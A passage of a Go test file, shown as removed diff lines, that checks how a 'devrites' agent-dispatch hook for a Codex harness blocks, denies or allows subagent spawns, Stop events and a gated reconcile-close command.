- "devrites_security_auditor_named", true, true, true,
2071
- )
2072
- stop := hookPayload(t, map[string]any{
2073
- "hook_event_name": "Stop",
2074
- "session_id": sessionID,
2075
- "turn_id": turnID,
2076
- "stop_hook_active": false,
2077
- })
2078
- if out, stderr, code := runDevritesIO(t, root, stop,
2079
- []string{"CODEX_HOME=" + codeHome},
2080
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
2081
- t.Fatalf("durable v2 stop exit=%d out=%s stderr=%s", code, out, stderr)
2082
- }
2083
- }
2084
-
2085
- func TestCodexAgentDispatchConfirmsDurableV2ChildRoleWhenParentOmitsAgentType(t *testing.T) {
2086
- root := newWorkspace(t)
2087
- codeHome := t.TempDir()
2088
- sessionID, turnID := "session-v2-hidden-role", "turn-v2-hidden-role"
2089
- role := "devrites-plan-drafter"
2090
- writeCodexAgentContract(t, root, role)
2091
- writeCodexSkillContract(t, root, "rite-plan", role)
2092
-
2093
- runDevritesIO(t, root, hookPayload(t, map[string]any{
2094
- "hook_event_name": "UserPromptSubmit",
2095
- "session_id": sessionID,
2096
- "turn_id": turnID,
2097
- "prompt": "$rite-plan unblock",
2098
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2099
-
2100
- taskName := "devrites_plan_drafter_hidden_role"
2101
- writeCodexV2Rollouts(
2102
- t, codeHome, filepath.Dir(root), sessionID, turnID, role,
2103
- taskName, true, true, true,
2104
- )
2105
- parentPath := filepath.Join(codeHome, "sessions", "2026", "07", "25", "rollout-parent-"+sessionID+".jsonl")
2106
- parent, err := os.ReadFile(parentPath)
2107
- if err != nil {
2108
- t.Fatal(err)
2109
- }
2110
- hiddenParentRole := bytes.ReplaceAll(parent, []byte(`\"agent_type\":\"`+role+`\"`), []byte(`\"agent_type\":\"\"`))
2111
- if bytes.Equal(parent, hiddenParentRole) {
2112
- t.Fatal("fixture did not hide the parent agent_type")
2113
- }
2114
- if err := os.WriteFile(parentPath, hiddenParentRole, 0o600); err != nil {
2115
- t.Fatal(err)
2116
- }
2117
- stop := hookPayload(t, map[string]any{
2118
- "hook_event_name": "Stop",
2119
- "session_id": sessionID,
2120
- "turn_id": turnID,
2121
- })
2122
- if out, stderr, code := runDevritesIO(t, root, stop,
2123
- []string{"CODEX_HOME=" + codeHome},
2124
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
2125
- t.Fatalf("hidden parent role stop exit=%d out=%s stderr=%s", code, out, stderr)
2126
- }
2127
- }
2128
-
2129
- func TestCodexAgentDispatchConfirmsConditionalDurableV2NamedRole(t *testing.T) {
2130
- root := newWorkspace(t)
2131
- codeHome := t.TempDir()
2132
- sessionID, turnID := "session-v2-conditional", "turn-v2-conditional"
2133
- role := "devrites-security-auditor"
2134
- writeCodexAgentContract(t, root, role)
2135
- writeCodexConditionalSkillContract(t, root, "devrites-audit", role)
2136
-
2137
- runDevritesIO(t, root, hookPayload(t, map[string]any{
2138
- "hook_event_name": "UserPromptSubmit",
2139
- "session_id": sessionID,
2140
- "turn_id": turnID,
2141
- "prompt": "$devrites-audit security",
2142
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2143
-
2144
- writeCodexV2Rollouts(
2145
- t, codeHome, filepath.Dir(root), sessionID, turnID, role,
2146
- "devrites_security_auditor_conditional", true, true, true,
2147
- )
2148
- stop := hookPayload(t, map[string]any{
2149
- "hook_event_name": "Stop",
2150
- "session_id": sessionID,
2151
- "turn_id": turnID,
2152
- })
2153
- if out, stderr, code := runDevritesIO(t, root, stop,
2154
- []string{"CODEX_HOME=" + codeHome},
2155
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
2156
- t.Fatalf("conditional durable v2 stop exit=%d out=%s stderr=%s", code, out, stderr)
2157
- }
2158
- }
2159
-
2160
- func TestCodexAgentDispatchRejectsConditionalDurableV2DefaultChild(t *testing.T) {
2161
- root := newWorkspace(t)
2162
- codeHome := t.TempDir()
2163
- sessionID, turnID := "session-v2-default", "turn-v2-default"
2164
- writeCodexConditionalSkillContract(t, root, "devrites-audit", "devrites-security-auditor")
2165
-
2166
- runDevritesIO(t, root, hookPayload(t, map[string]any{
2167
- "hook_event_name": "UserPromptSubmit",
2168
- "session_id": sessionID,
2169
- "turn_id": turnID,
2170
- "prompt": "$devrites-audit security",
2171
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2172
-
2173
- writeCodexV2Rollouts(
2174
- t, codeHome, filepath.Dir(root), sessionID, turnID, "default",
2175
- "default_conditional_child", true, true, true,
2176
- )
2177
- stop := hookPayload(t, map[string]any{
2178
- "hook_event_name": "Stop",
2179
- "session_id": sessionID,
2180
- "turn_id": turnID,
2181
- })
2182
- out, stderr, code := runDevritesIO(t, root, stop,
2183
- []string{"CODEX_HOME=" + codeHome},
2184
- "hook", "agent-dispatch", "--harness=codex")
2185
- if code != 0 {
2186
- t.Fatalf("conditional default stop exit=%d stderr=%s", code, stderr)
2187
- }
2188
- var decision struct {
2189
- Decision string `json:"decision"`
2190
- Reason string `json:"reason"`
2191
- }
2192
- if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &decision); err != nil {
2193
- t.Fatalf("invalid conditional default response: %v\n%s", err, out)
2194
- }
2195
- if decision.Decision != "block" ||
2196
- !strings.Contains(decision.Reason, "default or non-DevRites child") ||
2197
- !strings.Contains(decision.Reason, "cannot be repaired by another dispatch") ||
2198
- !strings.Contains(decision.Reason, "retry the skill in a fresh turn") ||
2199
- !strings.Contains(decision.Reason, "never use a default child") {
2200
- t.Fatalf("conditional V2 default child passed: %#v", decision)
2201
- }
2202
-
2203
- stop = hookPayload(t, map[string]any{
2204
- "hook_event_name": "Stop",
2205
- "session_id": sessionID,
2206
- "turn_id": turnID,
2207
- "stop_hook_active": true,
2208
- })
2209
- out, stderr, code = runDevritesIO(t, root, stop,
2210
- []string{"CODEX_HOME=" + codeHome},
2211
- "hook", "agent-dispatch", "--harness=codex")
2212
- if code != 0 {
2213
- t.Fatalf("conditional default reentry exit=%d stderr=%s", code, stderr)
2214
- }
2215
- var terminal struct {
2216
- Continue bool `json:"continue"`
2217
- StopReason string `json:"stopReason"`
2218
- }
2219
- if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &terminal); err != nil {
2220
- t.Fatalf("invalid conditional default reentry response: %v\n%s", err, out)
2221
- }
2222
- if terminal.Continue ||
2223
- !strings.Contains(terminal.StopReason, "default or non-DevRites child") ||
2224
- !strings.Contains(terminal.StopReason, "retry the skill in a fresh turn") {
2225
- t.Fatalf("conditional V2 default child reentry did not stop: %#v", terminal)
2226
- }
2227
- }
2228
-
2229
- func TestCodexAgentDispatchTerminatesCorruptStateReentry(t *testing.T) {
2230
- root := newWorkspace(t)
2231
- sessionID, turnID := "session-corrupt-state", "turn-corrupt-state"
2232
-
2233
- runDevritesIO(t, root, hookPayload(t, map[string]any{
2234
- "hook_event_name": "UserPromptSubmit",
2235
- "session_id": sessionID,
2236
- "turn_id": turnID,
2237
- "prompt": "$rite-status",
2238
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2239
-
2240
- resolvedRoot, err := filepath.EvalSymlinks(root)
2241
- if err != nil {
2242
- t.Fatal(err)
2243
- }
2244
- rootSum := sha256.Sum256([]byte(filepath.Clean(resolvedRoot)))
2245
- sessionSum := sha256.Sum256([]byte(sessionID))
2246
- statePath := filepath.Join(
2247
- os.TempDir(),
2248
- "devrites-agent-dispatch-v1",
2249
- hex.EncodeToString(rootSum[:]),
2250
- hex.EncodeToString(sessionSum[:])+".jsonl",
2251
- )
2252
- if err := os.MkdirAll(filepath.Dir(statePath), 0o700); err != nil {
2253
- t.Fatal(err)
2254
- }
2255
- if err := os.WriteFile(statePath, []byte("not-json\n"), 0o600); err != nil {
2256
- t.Fatal(err)
2257
- }
2258
-
2259
- stop := func(active bool) string {
2260
- out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
2261
- "hook_event_name": "Stop",
2262
- "session_id": sessionID,
2263
- "turn_id": turnID,
2264
- "stop_hook_active": active,
2265
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2266
- if code != 0 {
2267
- t.Fatalf("corrupt state stop active=%t exit=%d stderr=%s", active, code, stderr)
2268
- }
2269
- return out
2270
- }
2271
-
2272
- var blocked struct {
2273
- Decision string `json:"decision"`
2274
- }
2275
- if out := stop(false); json.Unmarshal([]byte(strings.TrimSpace(out)), &blocked) != nil ||
2276
- blocked.Decision != "block" {
2277
- t.Fatalf("corrupt state first Stop did not block: %s", out)
2278
- }
2279
-
2280
- var terminal struct {
2281
- Continue bool `json:"continue"`
2282
- StopReason string `json:"stopReason"`
2283
- }
2284
- if out := stop(true); json.Unmarshal([]byte(strings.TrimSpace(out)), &terminal) != nil ||
2285
- terminal.Continue ||
2286
- !strings.Contains(terminal.StopReason, "invalid agent dispatch state") {
2287
- t.Fatalf("corrupt state reentry did not stop: %s", out)
2288
- }
2289
- }
2290
-
2291
- func TestCodexAgentDispatchRejectsIncompleteDurableV2(t *testing.T) {
2292
- for _, tc := range []struct {
2293
- name string
2294
- role string
2295
- includeWait bool
2296
- includeRules bool
2297
- includeResult bool
2298
- }{
2299
- {name: "generic-role", role: "explorer", includeWait: true, includeRules: true, includeResult: true},
2300
- {name: "missing-wait", role: "devrites-security-auditor", includeRules: true, includeResult: true},
2301
- {name: "missing-rules", role: "devrites-security-auditor", includeWait: true, includeResult: true},
2302
- {name: "missing-result", role: "devrites-security-auditor", includeWait: true, includeRules: true},
2303
- } {
2304
- t.Run(tc.name, func(t *testing.T) {
2305
- root := newWorkspace(t)
2306
- codeHome := t.TempDir()
2307
- sessionID, turnID := "session-"+tc.name, "turn-"+tc.name
2308
- role := "devrites-security-auditor"
2309
- writeCodexAgentContract(t, root, role)
2310
- writeCodexSkillContract(t, root, "devrites-audit", role)
2311
- runDevritesIO(t, root, hookPayload(t, map[string]any{
2312
- "hook_event_name": "UserPromptSubmit",
2313
- "session_id": sessionID,
2314
- "turn_id": turnID,
2315
- "prompt": "$devrites-audit Read .codex/agents/" + role + ".toml.",
2316
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2317
- writeCodexV2Rollouts(
2318
- t, codeHome, filepath.Dir(root), sessionID, turnID, tc.role,
2319
- "devrites_security_auditor_named", tc.includeWait, tc.includeRules, tc.includeResult,
2320
- )
2321
- stop := hookPayload(t, map[string]any{
2322
- "hook_event_name": "Stop",
2323
- "session_id": sessionID,
2324
- "turn_id": turnID,
2325
- })
2326
- out, stderr, code := runDevritesIO(t, root, stop,
2327
- []string{"CODEX_HOME=" + codeHome},
2328
- "hook", "agent-dispatch", "--harness=codex")
2329
- if code != 0 {
2330
- t.Fatalf("stop exit=%d stderr=%s", code, stderr)
2331
- }
2332
- var decision struct {
2333
- Decision string `json:"decision"`
2334
- }
2335
- if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &decision); err != nil {
2336
- t.Fatalf("invalid Stop response: %v\n%s", err, out)
2337
- }
2338
- if decision.Decision != "block" {
2339
- t.Fatalf("incomplete durable V2 dispatch passed: %s", out)
2340
- }
2341
- })
2342
- }
2343
- }
2344
-
2345
- func TestCodexAgentDispatchGatesReconcileCloseOnBoundWrightResult(t *testing.T) {
2346
- root := newWorkspace(t)
2347
- writeActive(t, root, "auth-tokens")
2348
- workspace := filepath.Join(root, "features", "auth-tokens")
2349
- for name, body := range map[string]string{
2350
- ".reconcile-base": ".reconcile-base\n",
2351
- ".reconcile-allowlist": ".reconcile-allowlist\n",
2352
- ".reconcile-devrites": "[]\n",
2353
- } {
2354
- if err := os.WriteFile(filepath.Join(workspace, name), []byte(body), 0o600); err != nil {
2355
- t.Fatal(err)
2356
- }
2357
- }
2358
- if err := os.MkdirAll(filepath.Join(workspace, ".reconcile-objects"), 0o700); err != nil {
2359
- t.Fatal(err)
2360
- }
2361
- sessionID, turnID := "session-wright", "turn-wright"
2362
- writeCodexAgentContract(t, root, "devrites-slice-wright")
2363
- writeCodexSkillContract(t, root, "rite-build", "devrites-slice-wright")
2364
- runDevritesIO(t, root, hookPayload(t, map[string]any{
2365
- "hook_event_name": "UserPromptSubmit",
2366
- "session_id": sessionID,
2367
- "turn_id": turnID,
2368
- "prompt": "$rite-build",
2369
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2370
-
2371
- check := hookPayload(t, map[string]any{
2372
- "hook_event_name": "PreToolUse",
2373
- "session_id": sessionID,
2374
- "turn_id": turnID,
2375
- "tool_name": "Bash",
2376
- "tool_input": map[string]any{"command": "rtk devrites-engine reconcile check"},
2377
- })
2378
- if out, stderr, code := runDevritesIO(t, root, check, nil,
2379
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
2380
- t.Fatalf("ordinary reconcile check exit=%d out=%s stderr=%s", code, out, stderr)
2381
- }
2382
-
2383
- closeWindow := hookPayload(t, map[string]any{
2384
- "hook_event_name": "PreToolUse",
2385
- "session_id": sessionID,
2386
- "turn_id": turnID,
2387
- "tool_name": "Bash",
2388
- "tool_input": map[string]any{"command": "rtk devrites-engine reconcile close"},
2389
- })
2390
- out, _, _ := runDevritesIO(t, root, closeWindow, nil,
2391
- "hook", "agent-dispatch", "--harness=codex")
2392
- if decision, reason := parsePermissionDecision(t, out); decision != "deny" ||
2393
- !strings.Contains(reason, "confirmed") {
2394
- t.Fatalf("premature reconcile not denied: decision=%q reason=%q", decision, reason)
2395
- }
2396
-
2397
- for _, payload := range []map[string]any{
2398
- {
2399
- "hook_event_name": "PreToolUse",
2400
- "session_id": sessionID,
2401
- "turn_id": turnID,
2402
- "tool_name": "spawn_agent",
2403
- "tool_use_id": "spawn-wright",
2404
- "tool_input": map[string]any{
2405
- "agent_type": "devrites-slice-wright",
2406
- "fork_turns": "none",
2407
- "message": "Read .codex/agents/devrites-slice-wright.toml.",
2408
- },
2409
- },
2410
- {
2411
- "hook_event_name": "SubagentStart",
2412
- "session_id": sessionID,
2413
- "turn_id": "child-wright",
2414
- "agent_id": "agent-wright",
2415
- "agent_type": "devrites-slice-wright",
2416
- },
2417
- {
2418
- "hook_event_name": "SubagentStop",
2419
- "session_id": sessionID,
2420
- "turn_id": "child-wright",
2421
- "agent_id": "agent-wright",
2422
- "agent_type": "devrites-slice-wright",
2423
- "last_assistant_message": "agent-result/v1 complete",
2424
- },
2425
- {
2426
- "hook_event_name": "PreToolUse",
2427
- "session_id": sessionID,
2428
- "turn_id": turnID,
2429
- "tool_name": "wait",
2430
- "tool_input": map[string]any{"ids": []string{"agent-wright"}},
2431
- },
2432
- {
2433
- "hook_event_name": "PostToolUse",
2434
- "session_id": sessionID,
2435
- "turn_id": turnID,
2436
- "tool_name": "wait",
2437
- "tool_input": map[string]any{"ids": []string{"agent-wright"}},
2438
- "tool_response": map[string]any{"status": "completed"},
2439
- },
2440
- } {
2441
- hook := "agent-dispatch"
2442
- if payload["hook_event_name"] == "SubagentStart" {
2443
- hook = "subagent-orient"
2444
- }
2445
- if _, stderr, code := runDevritesIO(t, root, hookPayload(t, payload), nil,
2446
- "hook", hook, "--harness=codex"); code != 0 {
2447
- t.Fatalf("%s exit=%d stderr=%s", hook, code, stderr)
2448
- }
2449
- }
2450
- if _, err := os.Stat(filepath.Join(workspace, ".reconcile-wright-devrites")); err != nil {
2451
- t.Fatalf("wright start did not capture canonical boundary: %v", err)
2452
- }
2453
-
2454
- if out, stderr, code := runDevritesIO(t, root, closeWindow, nil,
2455
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
2456
- t.Fatalf("completed wright reconcile exit=%d out=%s stderr=%s", code, out, stderr)
2457
- }
2458
- }
2459
-
2460
- func TestCodexAgentDispatchCapturesWrightBoundaryBeforeSpawn(t *testing.T) {
2461
- root := newWorkspace(t)
2462
- writeActive(t, root, "auth-tokens")
2463
- workspace := filepath.Join(root, "features", "auth-tokens")
2464
- for name, body := range map[string]string{
2465
- ".reconcile-base": ".reconcile-base\n",
2466
- ".reconcile-allowlist": ".reconcile-allowlist\n",
2467
- ".reconcile-devrites": "[]\n",
2468
- "action.log": "Prior root action\n",
2469
- "browser-evidence.md": "Prior root evidence\n",
2470
- "decisions.md": "Prior root decision\n",
2471
- "evidence.md": "Prior root evidence\n",
2472
- "footprint.log": "Prior root footprint\n",
2473
- "state.md": "Phase: build\n",
2474
- "touched-files.md": "Prior root manifest\n",
2475
- } {
2476
- if err := os.WriteFile(filepath.Join(workspace, name), []byte(body), 0o600); err != nil {
2477
- t.Fatal(err)
2478
- }
2479
- }
2480
- if err := os.MkdirAll(filepath.Join(workspace, ".reconcile-objects"), 0o700); err != nil {
2481
- t.Fatal(err)
2482
- }
2483
-
2484
- sessionID, turnID := "session-wright-spawn", "turn-wright-spawn"
2485
- writeCodexAgentContract(t, root, "devrites-slice-wright")
2486
- writeCodexSkillContract(t, root, "rite-build", "devrites-slice-wright")
2487
- runDevritesIO(t, root, hookPayload(t, map[string]any{
2488
- "hook_event_name": "UserPromptSubmit",
2489
- "session_id": sessionID,
2490
- "turn_id": turnID,
2491
- "prompt": "$rite-build",
2492
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2493
-
2494
- spawn := hookPayload(t, map[string]any{
2495
- "hook_event_name": "PreToolUse",
2496
- "session_id": sessionID,
2497
- "turn_id": turnID,
2498
- "tool_name": "spawn_agent",
2499
- "tool_use_id": "spawn-wright",
2500
- "tool_input": map[string]any{
2501
- "agent_type": "devrites-slice-wright",
2502
- "fork_turns": "none",
2503
- "message": "Read .codex/agents/devrites-slice-wright.toml.",
2504
- },
2505
- })
2506
- if out, stderr, code := runDevritesIO(t, root, spawn, nil,
2507
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
2508
- t.Fatalf("spawn exit=%d out=%s stderr=%s", code, out, stderr)
2509
- }
2510
-
2511
- raw, err := os.ReadFile(filepath.Join(workspace, ".reconcile-wright-devrites"))
2512
- if err != nil {
2513
- t.Fatalf("read wright boundary: %v", err)
2514
- }
2515
- for _, path := range []string{
2516
- "features/auth-tokens/action.log",
2517
- "features/auth-tokens/browser-evidence.md",
2518
- "features/auth-tokens/decisions.md",
2519
- "features/auth-tokens/evidence.md",
2520
- "features/auth-tokens/footprint.log",
2521
- "features/auth-tokens/state.md",
2522
- "features/auth-tokens/touched-files.md",
2523
- } {
2524
- if !strings.Contains(string(raw), path) {
2525
- t.Errorf("wright boundary omitted %s: %s", path, raw)
2526
- }
2527
- }
2528
- }
2529
-
2530
- func TestCodexAgentDispatchRefreshesUnarmedWrightBoundaryUntilDurableSpawn(t *testing.T) {
2531
- root := newWorkspace(t)
2532
- codeHome := t.TempDir()
2533
- writeActive(t, root, "auth-tokens")
2534
- workspace := filepath.Join(root, "features", "auth-tokens")
2535
- for name, body := range map[string]string{
2536
- ".reconcile-base": ".reconcile-base\n",
2537
- ".reconcile-allowlist": ".reconcile-allowlist\n",
2538
- ".reconcile-devrites": "[]\n",
2539
- "action.log": "Prior root action\n",
2540
- "browser-evidence.md": "Prior root evidence\n",
2541
- "decisions.md": "Prior root decision\n",
2542
- "evidence.md": "Prior root evidence\n",
2543
- "footprint.log": "Prior root footprint\n",
2544
- "state.md": "Phase: ready\n",
2545
- "touched-files.md": "Prior root manifest\n",
2546
- } {
2547
- if err := os.WriteFile(filepath.Join(workspace, name), []byte(body), 0o600); err != nil {
2548
- t.Fatal(err)
2549
- }
2550
- }
2551
- if err := os.MkdirAll(filepath.Join(workspace, ".reconcile-objects"), 0o700); err != nil {
2552
- t.Fatal(err)
2553
- }
2554
-
2555
- sessionID, turnID := "session-wright-durable", "turn-wright-durable"
2556
- role := "devrites-slice-wright"
2557
- writeCodexAgentContract(t, root, role)
2558
- env := []string{"CODEX_HOME=" + codeHome}
2559
- runDevritesIO(t, root, hookPayload(t, map[string]any{
2560
- "hook_event_name": "UserPromptSubmit",
2561
- "session_id": sessionID,
2562
- "turn_id": turnID,
2563
- "prompt": "Retry the retained reconciliation check.",
2564
- }), env, "hook", "agent-dispatch", "--harness=codex")
2565
-
2566
- wrightState := filepath.Join(workspace, ".reconcile-wright-devrites")
2567
- initial, err := os.ReadFile(wrightState)
2568
- if err != nil {
2569
- t.Fatalf("read initial wright boundary: %v", err)
2570
- }
2571
- for _, path := range []string{
2572
- "features/auth-tokens/action.log",
2573
- "features/auth-tokens/browser-evidence.md",
2574
- "features/auth-tokens/decisions.md",
2575
- "features/auth-tokens/evidence.md",
2576
- "features/auth-tokens/footprint.log",
2577
- "features/auth-tokens/state.md",
2578
- "features/auth-tokens/touched-files.md",
2579
- } {
2580
- if !strings.Contains(string(initial), path) {
2581
- t.Errorf("pending wright boundary omitted %s: %s", path, initial)
2582
- }
2583
- }
2584
- if err := os.WriteFile(filepath.Join(workspace, "state.md"), []byte("Phase: build\n"), 0o600); err != nil {
2585
- t.Fatal(err)
2586
- }
2587
- postTool := hookPayload(t, map[string]any{
2588
- "hook_event_name": "PostToolUse",
2589
- "session_id": sessionID,
2590
- "turn_id": turnID,
2591
- "tool_name": "apply_patch",
2592
- "tool_use_id": "root-state-edit",
2593
- "tool_input": map[string]any{"file_path": "state.md"},
2594
- })
2595
- if out, stderr, code := runDevritesIO(t, root, postTool, env,
2596
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
2597
- t.Fatalf("root post-tool refresh exit=%d out=%s stderr=%s", code, out, stderr)
2598
- }
2599
- beforeSpawn, err := os.ReadFile(wrightState)
2600
- if err != nil {
2601
- t.Fatalf("read refreshed wright boundary: %v", err)
2602
- }
2603
- if bytes.Equal(initial, beforeSpawn) {
2604
- t.Fatal("root PostToolUse did not refresh the pending wright boundary")
2605
- }
2606
-
2607
- writeCodexV2Rollouts(
2608
- t, codeHome, filepath.Dir(root), sessionID, turnID, role,
2609
- "devrites_slice_wright_unhooked", true, true, true,
2610
- )
2611
- if err := os.WriteFile(filepath.Join(workspace, "state.md"), []byte("Writer mutation\n"), 0o600); err != nil {
2612
- t.Fatal(err)
2613
- }
2614
- if out, stderr, code := runDevritesIO(t, root, postTool, env,
2615
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
2616
- t.Fatalf("post-spawn PostToolUse exit=%d out=%s stderr=%s", code, out, stderr)
2617
- }
2618
- afterSpawn, err := os.ReadFile(wrightState)
2619
- if err != nil {
2620
- t.Fatalf("read frozen wright boundary: %v", err)
2621
- }
2622
- if !bytes.Equal(beforeSpawn, afterSpawn) {
2623
- t.Fatal("durable V2 spawn did not freeze the pre-writer canonical boundary")
2624
- }
2625
- }
2626
-
2627
- func TestCodexAgentDispatchBindsDurableV2WrightToReconcileWindow(t *testing.T) {
2628
- for _, tc := range []struct {
2629
- name string
2630
- changeWindow bool
2631
- wantPermitted bool
2632
- }{
2633
- {name: "same-window", wantPermitted: true},
2634
- {name: "changed-window", changeWindow: true},
2635
- } {
2636
- t.Run(tc.name, func(t *testing.T) {
2637
- root := newWorkspace(t)
2638
- codeHome := t.TempDir()
2639
- writeActive(t, root, "auth-tokens")
2640
- workspace := filepath.Join(root, "features", "auth-tokens")
2641
- for _, name := range []string{".reconcile-base", ".reconcile-allowlist", ".reconcile-devrites"} {
2642
- if err := os.WriteFile(filepath.Join(workspace, name), []byte(name+"\n"), 0o600); err != nil {
2643
- t.Fatal(err)
2644
- }
2645
- }
2646
- sessionID, turnID := "session-v2-wright-"+tc.name, "turn-v2-wright-"+tc.name
2647
- role := "devrites-slice-wright"
2648
- writeCodexAgentContract(t, root, role)
2649
- writeCodexSkillContract(t, root, "rite-build", role)
2650
- runDevritesIO(t, root, hookPayload(t, map[string]any{
2651
- "hook_event_name": "UserPromptSubmit",
2652
- "session_id": sessionID,
2653
- "turn_id": turnID,
2654
- "prompt": "$rite-build",
2655
- }), nil, "hook", "agent-dispatch", "--harness=codex")
2656
- writeCodexV2Rollouts(
2657
- t, codeHome, filepath.Dir(root), sessionID, turnID, role,
2658
- "devrites_slice_wright_named", true, true, true,
2659
- )
2660
- if tc.changeWindow {
2661
- future := time.Now().Add(time.Minute)
2662
- if err := os.Chtimes(
2663
- filepath.Join(workspace, ".reconcile-devrites"), future, future,
2664
- ); err != nil {
2665
- t.Fatal(err)
2666
- }
2667
- }
2668
- reconcile := hookPayload(t, map[string]any{
2669
- "hook_event_name": "PreToolUse",
2670
- "session_id": sessionID,
2671
- "turn_id": turnID,
2672
- "tool_name": "Bash",
2673
- "tool_input": map[string]any{"command": "rtk devrites-engine reconcile close"},
2674
- })
2675
- out, stderr, code := runDevritesIO(t, root, reconcile,
2676
- []string{"CODEX_HOME=" + codeHome},
2677
- "hook", "agent-dispatch", "--harness=codex")
2678
- if code != 0 {
2679
- t.Fatalf("reconcile exit=%d stderr=%s", code, stderr)
2680
- }
2681
- if tc.wantPermitted && strings.TrimSpace(out) != "" {
2682
- t.Fatalf("same-window V2 wright was rejected: %s", out)
2683
- }
2684
- if !tc.wantPermitted {
2685
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
2686
- t.Fatalf("changed-window V2 wright was accepted: %s", out)
2687
- }
2688
- return
2689
- }
2690
- for _, name := range []string{".reconcile-base", ".reconcile-allowlist", ".reconcile-devrites"} {
2691
- if err := os.Remove(filepath.Join(workspace, name)); err != nil {
2692
- t.Fatal(err)
2693
- }
2694
- }
2695
- stop := hookPayload(t, map[string]any{
2696
- "hook_event_name": "Stop",
2697
- "session_id": sessionID,
2698
- "turn_id": turnID,
2699
- })
2700
- if out, stderr, code := runDevritesIO(t, root, stop, nil,
2701
- "hook", "agent-dispatch", "--harness=codex"); code != 0 || strings.TrimSpace(out) != "" {
2702
- t.Fatalf("persisted V2 wright receipt was lost after close: exit=%d out=%s stderr=%s", code, out, stderr)
2703
- }
2704
- })
2705
- }
2706
- }
2707
-
2708
- func TestCodexAgentDispatchRejectsWrongGenericRole(t *testing.T) {
2709
- root := newWorkspace(t)
2710
- writeCodexAgentContract(t, root, "devrites-security-auditor")
2711
- spawn := hookPayload(t, map[string]any{
2712
- "hook_event_name": "PreToolUse",
2713
- "session_id": "session-role",
2714
- "turn_id": "turn-role",
2715
- "tool_name": "spawn_agent",
2716
- "tool_use_id": "spawn-role",
2717
- "tool_input": map[string]any{
2718
- "agent_type": "worker",
2719
- "fork_turns": "none",
2720
- "message": "Read .codex/agents/devrites-security-auditor.toml.",
2721
- },
2722
- })
2723
- out, stderr, code := runDevritesIO(t, root, spawn, nil,
2724
- "hook", "agent-dispatch", "--harness=codex")
2725
- if code != 0 {
2726
- t.Fatalf("exit=%d stderr=%s", code, stderr)
2727
- }
2728
- if decision, reason := parsePermissionDecision(t, out); decision != "deny" ||
2729
- !strings.Contains(reason, "devrites-slice-wright") {
2730
- t.Fatalf("worker role mismatch not denied: decision=%q reason=%q", decision, reason)
2731
- }
2732
- }